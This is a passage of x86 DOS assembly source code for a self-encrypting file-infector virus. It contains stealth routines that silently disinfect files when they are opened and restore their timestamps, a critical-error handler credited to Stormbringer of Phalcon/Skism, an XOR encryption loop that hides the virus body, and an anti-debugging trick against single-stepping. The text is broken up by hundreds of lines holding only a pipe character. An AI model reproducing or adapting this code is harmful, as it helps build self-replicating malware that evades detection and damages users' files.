sub dx,(vend-install) ;seek file-size - vir_size
|
|
|
|
|
xor ax,ax
|
|
|
|
|
xor cx,cx
|
|
|
|
|
mov ah,42h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah,40h
|
|
|
|
|
xor cx,cx ;write clean file
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
close_dis:
|
|
|
|
|
mov ax,5701h ;restore saved
|
|
|
|
|
pop dx ;date
|
|
|
|
|
pop cx ;and time
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah,3eh ;close the file
|
|
|
|
|
pushf
|
|
|
|
|
push cs
|
|
|
|
|
call o21h
|
|
|
|
|
|
|
|
|
|
no_opendis:
|
|
|
|
|
pop es
|
|
|
|
|
pop ds
|
|
|
|
|
pop si
|
|
|
|
|
pop di
|
|
|
|
|
pop dx
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax ;restore all segments/registers
|
|
|
|
|
|
|
|
|
|
bail_out:
|
|
|
|
|
jmp o21h ;and bail out!
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; The Set/Restore critical error handler is written by Stormbringer
|
|
|
|
|
; of Phalcon/Skism. I borrowed it because I find it excellent
|
|
|
|
|
; coded. I call the routines a lot of times, so. . . credits to him.
|
|
|
|
|
|
|
|
|
|
SetCritical:
|
|
|
|
|
push ax ds
|
|
|
|
|
mov ax,9
|
|
|
|
|
mov ds,ax
|
|
|
|
|
push word ptr ds:[0]
|
|
|
|
|
push word ptr ds:[2]
|
|
|
|
|
pop word ptr cs:[OldCritical+2]
|
|
|
|
|
pop word ptr cs:[OldCritical]
|
|
|
|
|
mov word ptr ds:[0],offset CriticalError
|
|
|
|
|
push cs
|
|
|
|
|
pop word ptr ds:[02]
|
|
|
|
|
pop ds ax
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
ResetCritical:
|
|
|
|
|
push ax ds
|
|
|
|
|
push word ptr cs:[OldCritical]
|
|
|
|
|
mov ax,9
|
|
|
|
|
push word ptr cs:[OldCritical+2]
|
|
|
|
|
mov ds,ax
|
|
|
|
|
pop word ptr ds:[2]
|
|
|
|
|
pop word ptr ds:[0]
|
|
|
|
|
pop ds ax
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
CriticalError:
|
|
|
|
|
mov al,0
|
|
|
|
|
iret
|
|
|
|
|
|
|
|
|
|
OldCritical dd 0
|
|
|
|
|
|
|
|
|
|
; ---------------------------------------------------------
|
|
|
|
|
; All code below this point is unencrypted - only adresses
|
|
|
|
|
; caluculated from the base pointer will vary. Instructions
|
|
|
|
|
; are the same.
|
|
|
|
|
; ---------------------------------------------------------
|
|
|
|
|
decrypt:
|
|
|
|
|
encrypt:
|
|
|
|
|
mov ax,word ptr ds:[bp+enc_val] ;enc value in ax
|
|
|
|
|
lea di,[bp+install] ;pointer to encryption start
|
|
|
|
|
mov cx,(encrypt-install)/2 ;number of words to be encrypted
|
|
|
|
|
xor_loopy:
|
|
|
|
|
xor word ptr ds:[di],ax
|
|
|
|
|
inc di
|
|
|
|
|
inc di
|
|
|
|
|
loop xor_loopy
|
|
|
|
|
ret
|
|
|
|
|
enc_val dw 0
|
|
|
|
|
|
|
|
|
|
entry_point:
|
|
|
|
|
mov sp,102h ;Alternative coding
|
|
|
|
|
call get_bp ;to get the delta offset
|
|
|
|
|
;Raver(tm)
|
|
|
|
|
get_bp:
|
|
|
|
|
mov bp,word ptr ds:[100h]
|
|
|
|
|
mov sp,0fffeh
|
|
|
|
|
sub bp,offset get_bp
|
|
|
|
|
|
|
|
|
|
mov si, offset ditch ;This routine will make
|
|
|
|
|
add si,bp ;single-stepping programs
|
|
|
|
|
; db 0ebh,0 ;stop.
|
|
|
|
|
mov byte ptr ds:[si],0c3h
|
|
|
|
|
ditch:
|
|
|
|
|
mov byte ptr ds:[si],0c6h
|
|
|
|
|
|
|
|
|
|
call decrypt ;decrypt virus
|
|
|
|
|
jmp install ;jmp to install code
|
|
|
|
|
|
|
|
|
|
orgjmp db 0cdh,20h,00,00 ;buffer to save the 4 first bytes in,
|
|
|
|
|
;remains unecrypted due to disinfection.
|
|
|
|
|
end_of_virus:
|
|
|
|
|
vend:
|
|
|
|
|
|
|
|
|
|
end start_of_virus
|
|
|
|
|
|